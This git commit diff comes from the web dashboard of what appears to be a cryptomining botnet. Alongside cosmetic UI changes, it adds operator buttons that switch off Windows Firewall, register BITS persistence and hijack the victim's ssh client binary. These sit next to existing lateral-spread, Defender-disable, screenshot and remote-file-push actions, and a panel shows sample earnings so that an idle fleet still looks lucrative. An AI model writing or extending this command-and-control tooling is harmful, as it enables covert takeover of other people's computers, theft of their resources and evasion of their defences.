feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops
- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
This commit is contained in:
@@ -1,70 +1,17 @@
|
||||
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
|
||||
import GlowParticles from './GlowParticles';
|
||||
import './AmbientBackground.css';
|
||||
|
||||
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
|
||||
function SacredGeometry() {
|
||||
const cx = 50;
|
||||
const cy = 50;
|
||||
const R = 32; // outer circle radius
|
||||
|
||||
// Six-petal Flower of Life petal centres (offset by R from centre)
|
||||
const petalAngles = [0, 60, 120, 180, 240, 300];
|
||||
const petals = petalAngles.map((deg) => {
|
||||
const rad = (deg * Math.PI) / 180;
|
||||
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
|
||||
});
|
||||
|
||||
// 5-pointed star vertices inscribed at radius R*1.15
|
||||
const starR = R * 1.15;
|
||||
const starPts = Array.from({ length: 5 }, (_, i) => {
|
||||
const rad = ((i * 72 - 90) * Math.PI) / 180;
|
||||
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
|
||||
});
|
||||
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
|
||||
|
||||
// Inner triangles (upward + downward — Star of David inner ring)
|
||||
const triR = R * 0.7;
|
||||
const triUp = [0, 120, 240].map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||
}).join(' ');
|
||||
const triDown = [60, 180, 300].map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
|
||||
}).join(' ');
|
||||
|
||||
return (
|
||||
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
|
||||
<g opacity="0.55">
|
||||
{/* Outer ring */}
|
||||
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
|
||||
{/* Middle ring */}
|
||||
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
|
||||
{/* Inner ring */}
|
||||
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
|
||||
{/* Flower of Life petal circles */}
|
||||
{petals.map((p, i) => (
|
||||
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
|
||||
))}
|
||||
{/* Pentagon star */}
|
||||
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
|
||||
{/* Merkaba triangles */}
|
||||
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
|
||||
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
|
||||
{/* Centre dot */}
|
||||
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
|
||||
{/* Spoke lines to star points */}
|
||||
{starPts.map((p, i) => (
|
||||
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
|
||||
))}
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
|
||||
}
|
||||
|
||||
export default function AmbientBackground() {
|
||||
return (
|
||||
<div className="ambient-bg" aria-hidden>
|
||||
<div className="ambient-grid" />
|
||||
<GlowParticles />
|
||||
<div className="ambient-vignette" />
|
||||
<div className="ambient-orb ambient-orb-cyan" />
|
||||
<div className="ambient-orb ambient-orb-magenta" />
|
||||
@@ -72,6 +19,13 @@ export default function AmbientBackground() {
|
||||
<div className="ambient-scanline" />
|
||||
<div className="ambient-gear ambient-gear-1" />
|
||||
<div className="ambient-gear ambient-gear-2" />
|
||||
<div className="ambient-geo-hex-veil" />
|
||||
<div className="ambient-geo-corner ambient-geo-corner--tl" aria-hidden>
|
||||
<SacredMotif name="metatron" opacity={0.65} />
|
||||
</div>
|
||||
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
|
||||
<SacredMotif name="hex" opacity={0.6} />
|
||||
</div>
|
||||
{/* Sacred geometry watermark — centre of the main content area */}
|
||||
<SacredGeometry />
|
||||
</div>
|
||||
|
||||
115
server/web/src/components/Ambient/GlowParticles.css
Normal file
115
server/web/src/components/Ambient/GlowParticles.css
Normal file
@@ -0,0 +1,115 @@
|
||||
.ambient-glow-canvas {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
z-index: 1;
|
||||
pointer-events: none;
|
||||
opacity: 0.92;
|
||||
mix-blend-mode: screen;
|
||||
}
|
||||
|
||||
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
|
||||
.ambient-css-sparkles {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
z-index: 2;
|
||||
pointer-events: none;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.ambient-sparkle {
|
||||
position: absolute;
|
||||
width: 3px;
|
||||
height: 3px;
|
||||
border-radius: 50%;
|
||||
animation: ambient-sparkle-pulse 4s ease-in-out infinite;
|
||||
box-shadow:
|
||||
0 0 6px 2px currentColor,
|
||||
0 0 14px 4px currentColor;
|
||||
}
|
||||
|
||||
.ambient-sparkle--1 {
|
||||
color: rgba(201, 162, 39, 0.55);
|
||||
top: 18%;
|
||||
left: 22%;
|
||||
animation-delay: 0s;
|
||||
}
|
||||
.ambient-sparkle--2 {
|
||||
color: rgba(0, 245, 255, 0.45);
|
||||
top: 72%;
|
||||
left: 68%;
|
||||
animation-delay: -1.2s;
|
||||
}
|
||||
.ambient-sparkle--3 {
|
||||
color: rgba(255, 45, 166, 0.4);
|
||||
top: 42%;
|
||||
left: 85%;
|
||||
animation-delay: -2.4s;
|
||||
}
|
||||
.ambient-sparkle--4 {
|
||||
color: rgba(255, 176, 32, 0.5);
|
||||
top: 58%;
|
||||
left: 12%;
|
||||
animation-delay: -3.1s;
|
||||
}
|
||||
|
||||
.ambient-sparkle:nth-child(5) {
|
||||
top: 8%;
|
||||
left: 55%;
|
||||
color: rgba(0, 245, 255, 0.35);
|
||||
animation-delay: -0.8s;
|
||||
}
|
||||
.ambient-sparkle:nth-child(6) {
|
||||
top: 88%;
|
||||
left: 38%;
|
||||
color: rgba(201, 162, 39, 0.4);
|
||||
animation-delay: -2s;
|
||||
}
|
||||
.ambient-sparkle:nth-child(7) {
|
||||
top: 28%;
|
||||
left: 78%;
|
||||
color: rgba(255, 176, 32, 0.38);
|
||||
animation-delay: -1.5s;
|
||||
}
|
||||
.ambient-sparkle:nth-child(8) {
|
||||
top: 65%;
|
||||
left: 48%;
|
||||
color: rgba(255, 45, 166, 0.32);
|
||||
animation-delay: -3.6s;
|
||||
}
|
||||
.ambient-sparkle:nth-child(9) {
|
||||
top: 35%;
|
||||
left: 8%;
|
||||
color: rgba(0, 245, 255, 0.38);
|
||||
animation-delay: -2.8s;
|
||||
}
|
||||
.ambient-sparkle:nth-child(10) {
|
||||
top: 52%;
|
||||
left: 92%;
|
||||
color: rgba(201, 162, 39, 0.42);
|
||||
animation-delay: -0.4s;
|
||||
}
|
||||
|
||||
@keyframes ambient-sparkle-pulse {
|
||||
0%,
|
||||
100% {
|
||||
transform: scale(0.6);
|
||||
opacity: 0.25;
|
||||
}
|
||||
50% {
|
||||
transform: scale(1.4);
|
||||
opacity: 0.95;
|
||||
}
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
.ambient-glow-canvas {
|
||||
opacity: 0.5;
|
||||
}
|
||||
.ambient-sparkle {
|
||||
animation: none;
|
||||
opacity: 0.35;
|
||||
transform: scale(1);
|
||||
}
|
||||
}
|
||||
168
server/web/src/components/Ambient/GlowParticles.tsx
Normal file
168
server/web/src/components/Ambient/GlowParticles.tsx
Normal file
@@ -0,0 +1,168 @@
|
||||
import { useEffect, useRef } from 'react';
|
||||
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
|
||||
import { useVisualEffects } from '../../context/VisualEffectsContext';
|
||||
import './GlowParticles.css';
|
||||
|
||||
const PALETTE = [
|
||||
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
|
||||
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
|
||||
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
|
||||
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
|
||||
] as const;
|
||||
|
||||
type Particle = {
|
||||
x: number;
|
||||
y: number;
|
||||
vx: number;
|
||||
vy: number;
|
||||
r: number;
|
||||
pulse: number;
|
||||
pulseSpeed: number;
|
||||
color: (typeof PALETTE)[number];
|
||||
};
|
||||
|
||||
function particleCount(mobile: boolean): number {
|
||||
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
|
||||
if (cores <= 2) return mobile ? 18 : 28;
|
||||
if (mobile) return 32;
|
||||
return cores >= 8 ? 64 : 48;
|
||||
}
|
||||
|
||||
function initParticles(w: number, h: number, n: number): Particle[] {
|
||||
const out: Particle[] = [];
|
||||
for (let i = 0; i < n; i++) {
|
||||
out.push({
|
||||
x: Math.random() * w,
|
||||
y: Math.random() * h,
|
||||
vx: (Math.random() - 0.5) * 0.35,
|
||||
vy: (Math.random() - 0.5) * 0.35,
|
||||
r: 1.2 + Math.random() * 2.2,
|
||||
pulse: Math.random() * Math.PI * 2,
|
||||
pulseSpeed: 0.008 + Math.random() * 0.012,
|
||||
color: PALETTE[i % PALETTE.length],
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
|
||||
const glowR = p.r * (3.2 + Math.sin(p.pulse) * 0.8);
|
||||
const g = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, glowR);
|
||||
g.addColorStop(0, p.color.core);
|
||||
g.addColorStop(0.35, p.color.mid);
|
||||
g.addColorStop(1, 'transparent');
|
||||
ctx.save();
|
||||
ctx.globalAlpha = alpha;
|
||||
ctx.fillStyle = g;
|
||||
ctx.beginPath();
|
||||
ctx.arc(p.x, p.y, glowR, 0, Math.PI * 2);
|
||||
ctx.fill();
|
||||
ctx.restore();
|
||||
}
|
||||
|
||||
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
|
||||
export default function GlowParticles() {
|
||||
const canvasRef = useRef<HTMLCanvasElement>(null);
|
||||
const particlesRef = useRef<Particle[]>([]);
|
||||
const rafRef = useRef(0);
|
||||
const isMobile = useIsMobileLayout();
|
||||
const { glowParticles } = useVisualEffects();
|
||||
|
||||
useEffect(() => {
|
||||
if (!glowParticles) return;
|
||||
|
||||
const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
const canvas = canvasRef.current;
|
||||
if (!canvas) return;
|
||||
const ctx = canvas.getContext('2d');
|
||||
if (!ctx) return;
|
||||
|
||||
const linkDist = isMobile ? 90 : 130;
|
||||
const linkDistSq = linkDist * linkDist;
|
||||
|
||||
const resize = () => {
|
||||
const dpr = Math.min(window.devicePixelRatio || 1, 2);
|
||||
const w = window.innerWidth;
|
||||
const h = window.innerHeight;
|
||||
canvas.width = Math.floor(w * dpr);
|
||||
canvas.height = Math.floor(h * dpr);
|
||||
canvas.style.width = `${w}px`;
|
||||
canvas.style.height = `${h}px`;
|
||||
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
|
||||
particlesRef.current = initParticles(w, h, particleCount(isMobile));
|
||||
};
|
||||
|
||||
resize();
|
||||
window.addEventListener('resize', resize);
|
||||
|
||||
const tick = () => {
|
||||
if (document.hidden) {
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
return;
|
||||
}
|
||||
|
||||
const w = canvas.clientWidth;
|
||||
const h = canvas.clientHeight;
|
||||
ctx.clearRect(0, 0, w, h);
|
||||
|
||||
const pts = particlesRef.current;
|
||||
if (!reducedMotion) {
|
||||
for (const p of pts) {
|
||||
p.x += p.vx;
|
||||
p.y += p.vy;
|
||||
p.pulse += p.pulseSpeed;
|
||||
if (p.x < -20) p.x = w + 20;
|
||||
if (p.x > w + 20) p.x = -20;
|
||||
if (p.y < -20) p.y = h + 20;
|
||||
if (p.y > h + 20) p.y = -20;
|
||||
}
|
||||
}
|
||||
|
||||
for (let i = 0; i < pts.length; i++) {
|
||||
for (let j = i + 1; j < pts.length; j++) {
|
||||
const dx = pts[i].x - pts[j].x;
|
||||
const dy = pts[i].y - pts[j].y;
|
||||
const d2 = dx * dx + dy * dy;
|
||||
if (d2 < linkDistSq) {
|
||||
const t = 1 - Math.sqrt(d2) / linkDist;
|
||||
ctx.strokeStyle = pts[i].color.line;
|
||||
ctx.globalAlpha = t * 0.35;
|
||||
ctx.lineWidth = 0.6;
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(pts[i].x, pts[i].y);
|
||||
ctx.lineTo(pts[j].x, pts[j].y);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
}
|
||||
ctx.globalAlpha = 1;
|
||||
|
||||
for (const p of pts) {
|
||||
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
|
||||
drawGlow(ctx, p, twinkle);
|
||||
}
|
||||
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
};
|
||||
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
|
||||
return () => {
|
||||
window.removeEventListener('resize', resize);
|
||||
cancelAnimationFrame(rafRef.current);
|
||||
};
|
||||
}, [glowParticles, isMobile]);
|
||||
|
||||
if (!glowParticles) return null;
|
||||
|
||||
return (
|
||||
<>
|
||||
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
|
||||
<div className="ambient-css-sparkles" aria-hidden>
|
||||
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
|
||||
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
|
||||
))}
|
||||
</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -7,6 +7,11 @@ import {
|
||||
XAxis,
|
||||
YAxis,
|
||||
} from 'recharts';
|
||||
import {
|
||||
chartSeriesDelta,
|
||||
chartSeriesPeak,
|
||||
type ChartDisplayMode,
|
||||
} from '../../help/chartSampleData';
|
||||
import './HashrateChart.css';
|
||||
|
||||
export interface ChartPoint {
|
||||
@@ -21,6 +26,7 @@ interface HashrateChartProps {
|
||||
color?: string;
|
||||
unit?: string;
|
||||
height?: number;
|
||||
displayMode?: ChartDisplayMode;
|
||||
}
|
||||
|
||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||
@@ -39,25 +45,42 @@ export default function HashrateChart({
|
||||
color = '#00f5ff',
|
||||
unit = 'H/s',
|
||||
height = 280,
|
||||
displayMode = 'live',
|
||||
}: HashrateChartProps) {
|
||||
const gradId = colorToId(color);
|
||||
const peak = chartSeriesPeak(data);
|
||||
const delta = chartSeriesDelta(data);
|
||||
const liveLabel =
|
||||
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
|
||||
const liveClass =
|
||||
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
|
||||
|
||||
if (data.length === 0) {
|
||||
return (
|
||||
<div className="chart-empty neon-chart-panel">
|
||||
<div className="chart-empty neon-chart-panel wealth-empty">
|
||||
<div className="chart-empty-icon">◈</div>
|
||||
<p className="font-tech">{title || 'Telemetry'}</p>
|
||||
<span>Awaiting signal from fleet...</span>
|
||||
<span>Calibrating chart telemetry…</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="chart-wrap neon-chart-panel">
|
||||
<div className="chart-wrap neon-chart-panel wealth-chart">
|
||||
{title && (
|
||||
<div className="chart-header">
|
||||
<h3 className="chart-title font-display">{title}</h3>
|
||||
<span className="chart-live pulse">● LIVE</span>
|
||||
<div className="chart-header-meta">
|
||||
<span className="chart-peak font-tech">
|
||||
PEAK {formatFull(peak, unit)}
|
||||
</span>
|
||||
{delta != null && (
|
||||
<span className={`chart-delta font-tech ${delta >= 0 ? 'up' : 'down'}`}>
|
||||
{delta >= 0 ? '▲' : '▼'} {Math.abs(delta).toFixed(1)}%
|
||||
</span>
|
||||
)}
|
||||
<span className={`chart-live ${liveClass}`}>{liveLabel}</span>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<ResponsiveContainer width="100%" height={height}>
|
||||
|
||||
@@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import { pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { parseFullSysCheckMessage } from '../../types/syscheck';
|
||||
import type { FullSysCheckReport } from '../../types/syscheck';
|
||||
import FullSysCheckPanel from './FullSysCheckPanel';
|
||||
import './AgentRemoteActions.css';
|
||||
import './FullSysCheckPanel.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
@@ -49,6 +54,7 @@ export default function AgentRemoteActions({
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [wolExpanded, setWolExpanded] = useState(false);
|
||||
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
@@ -133,7 +139,20 @@ export default function AgentRemoteActions({
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||
|
||||
if (action === 'screenshot') {
|
||||
if (action === 'full_sys_check') {
|
||||
if (success && message) {
|
||||
const parsed = parseFullSysCheckMessage(message);
|
||||
if (parsed) {
|
||||
setSysCheckReport(parsed);
|
||||
addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
|
||||
} else {
|
||||
addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
|
||||
}
|
||||
} else {
|
||||
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
|
||||
setSysCheckReport(null);
|
||||
}
|
||||
} else if (action === 'screenshot') {
|
||||
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
|
||||
if (success && message) {
|
||||
const clean = sanitizeScreenshotBase64(message);
|
||||
@@ -146,12 +165,14 @@ export default function AgentRemoteActions({
|
||||
} else {
|
||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action) {
|
||||
} else if (action && action !== 'full_sys_check') {
|
||||
const icon = success ? '✓' : '✗';
|
||||
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
|
||||
const preview =
|
||||
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
|
||||
addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
@@ -169,7 +190,14 @@ export default function AgentRemoteActions({
|
||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
|
||||
if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
|
||||
if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
if (action === 'full_sys_check') {
|
||||
setSysCheckReport(null);
|
||||
addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`);
|
||||
}
|
||||
|
||||
// WOL is handled server-side (no agent connection needed)
|
||||
if (action === 'wol') {
|
||||
@@ -218,21 +246,28 @@ export default function AgentRemoteActions({
|
||||
setIsDragging(true);
|
||||
};
|
||||
const handleDragLeave = () => setIsDragging(false);
|
||||
const pushDesktopFile = async (file: File) => {
|
||||
try {
|
||||
await pushFileToAgentDesktop(
|
||||
(action, args) => dispatch(action, args),
|
||||
file
|
||||
);
|
||||
} catch (err) {
|
||||
addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
|
||||
}
|
||||
};
|
||||
|
||||
const handleDrop = (e: React.DragEvent) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
setIsDragging(false);
|
||||
const file = e.dataTransfer.files[0];
|
||||
if (!file) return;
|
||||
const reader = new FileReader();
|
||||
reader.onload = async (evt) => {
|
||||
const base64 = (evt.target?.result as string).split(',')[1];
|
||||
const targetPath = `C:\\Windows\\Temp\\${file.name}`;
|
||||
await dispatch('upload', { path: targetPath, data: base64 });
|
||||
};
|
||||
reader.readAsDataURL(file);
|
||||
void pushDesktopFile(file);
|
||||
};
|
||||
|
||||
const desktopFileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
const runCustomCommand = (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
if (!customCmd.trim()) return;
|
||||
@@ -294,6 +329,15 @@ export default function AgentRemoteActions({
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan"
|
||||
disabled={!isOnline || !!busy}
|
||||
title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
|
||||
onClick={() => dispatch('full_sys_check')}
|
||||
>
|
||||
Full Sys Check
|
||||
</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
|
||||
<button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
|
||||
@@ -425,6 +469,60 @@ export default function AgentRemoteActions({
|
||||
>
|
||||
Open FW Port
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red"
|
||||
disabled={aggDisabled('firewall_off')}
|
||||
title={aggTitle('firewall_off')}
|
||||
onClick={() => dispatch('firewall_off')}
|
||||
>
|
||||
FW Off
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_on')}
|
||||
title={aggTitle('firewall_on')}
|
||||
onClick={() => dispatch('firewall_on')}
|
||||
>
|
||||
FW On
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_profiles')}
|
||||
title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
|
||||
onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
|
||||
>
|
||||
FW Private Off
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('firewall_remove')}
|
||||
title={aggTitle('firewall_remove')}
|
||||
onClick={() => dispatch('firewall_remove')}
|
||||
>
|
||||
Remove FW Rules
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('bits_persist')}
|
||||
title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
|
||||
onClick={() => dispatch('bits_persist')}
|
||||
>
|
||||
BITS Persist
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
disabled={aggDisabled('host_binary_persist')}
|
||||
title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
|
||||
onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
|
||||
>
|
||||
Host Binary
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta"
|
||||
@@ -474,6 +572,14 @@ export default function AgentRemoteActions({
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{sysCheckReport && !compact && (
|
||||
<FullSysCheckPanel
|
||||
report={sysCheckReport}
|
||||
agentName={agentName}
|
||||
onClose={() => setSysCheckReport(null)}
|
||||
/>
|
||||
)}
|
||||
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({
|
||||
>
|
||||
<span className="drop-icon">📥</span>
|
||||
<p>Drag & Drop file here</p>
|
||||
<small>Uploads to C:\Windows\Temp\</small>
|
||||
<small>Pushes to user Desktop (any OS)</small>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
style={{ marginTop: '0.5rem' }}
|
||||
disabled={!isOnline || !!busy}
|
||||
onClick={() => desktopFileInputRef.current?.click()}
|
||||
>
|
||||
Choose file → Desktop
|
||||
</button>
|
||||
<input
|
||||
ref={desktopFileInputRef}
|
||||
type="file"
|
||||
hidden
|
||||
onChange={(e) => {
|
||||
const file = e.target.files?.[0];
|
||||
if (file) void pushDesktopFile(file);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div className="master-terminal">
|
||||
|
||||
@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
|
||||
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
||||
import { timeToPayout } from '../../help/fleetAnalytics';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
|
||||
import './FleetPanels.css';
|
||||
|
||||
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
||||
@@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
|
||||
);
|
||||
}
|
||||
|
||||
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
|
||||
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
|
||||
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
||||
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
|
||||
const usdDay = xmrDay * price;
|
||||
|
||||
return (
|
||||
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
|
||||
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
|
||||
<div className="stat-label font-tech">Target Fleet Earnings</div>
|
||||
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
|
||||
<div className="earnings-usd-day">≈ ${usdDay.toFixed(2)}/day</div>
|
||||
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
|
||||
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
|
||||
Deploy miners to replace projection with live pool data
|
||||
</div>
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
// ─── Fleet Health Card ────────────────────────────────────────────────────────
|
||||
|
||||
export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
||||
@@ -210,20 +231,24 @@ export function ContributionBars({
|
||||
bars,
|
||||
xmrPerDay,
|
||||
xmrPrice,
|
||||
sample = false,
|
||||
}: {
|
||||
bars: ContributionBar[];
|
||||
xmrPerDay?: number;
|
||||
xmrPrice?: number | null;
|
||||
sample?: boolean;
|
||||
}) {
|
||||
if (bars.length === 0) return null;
|
||||
return (
|
||||
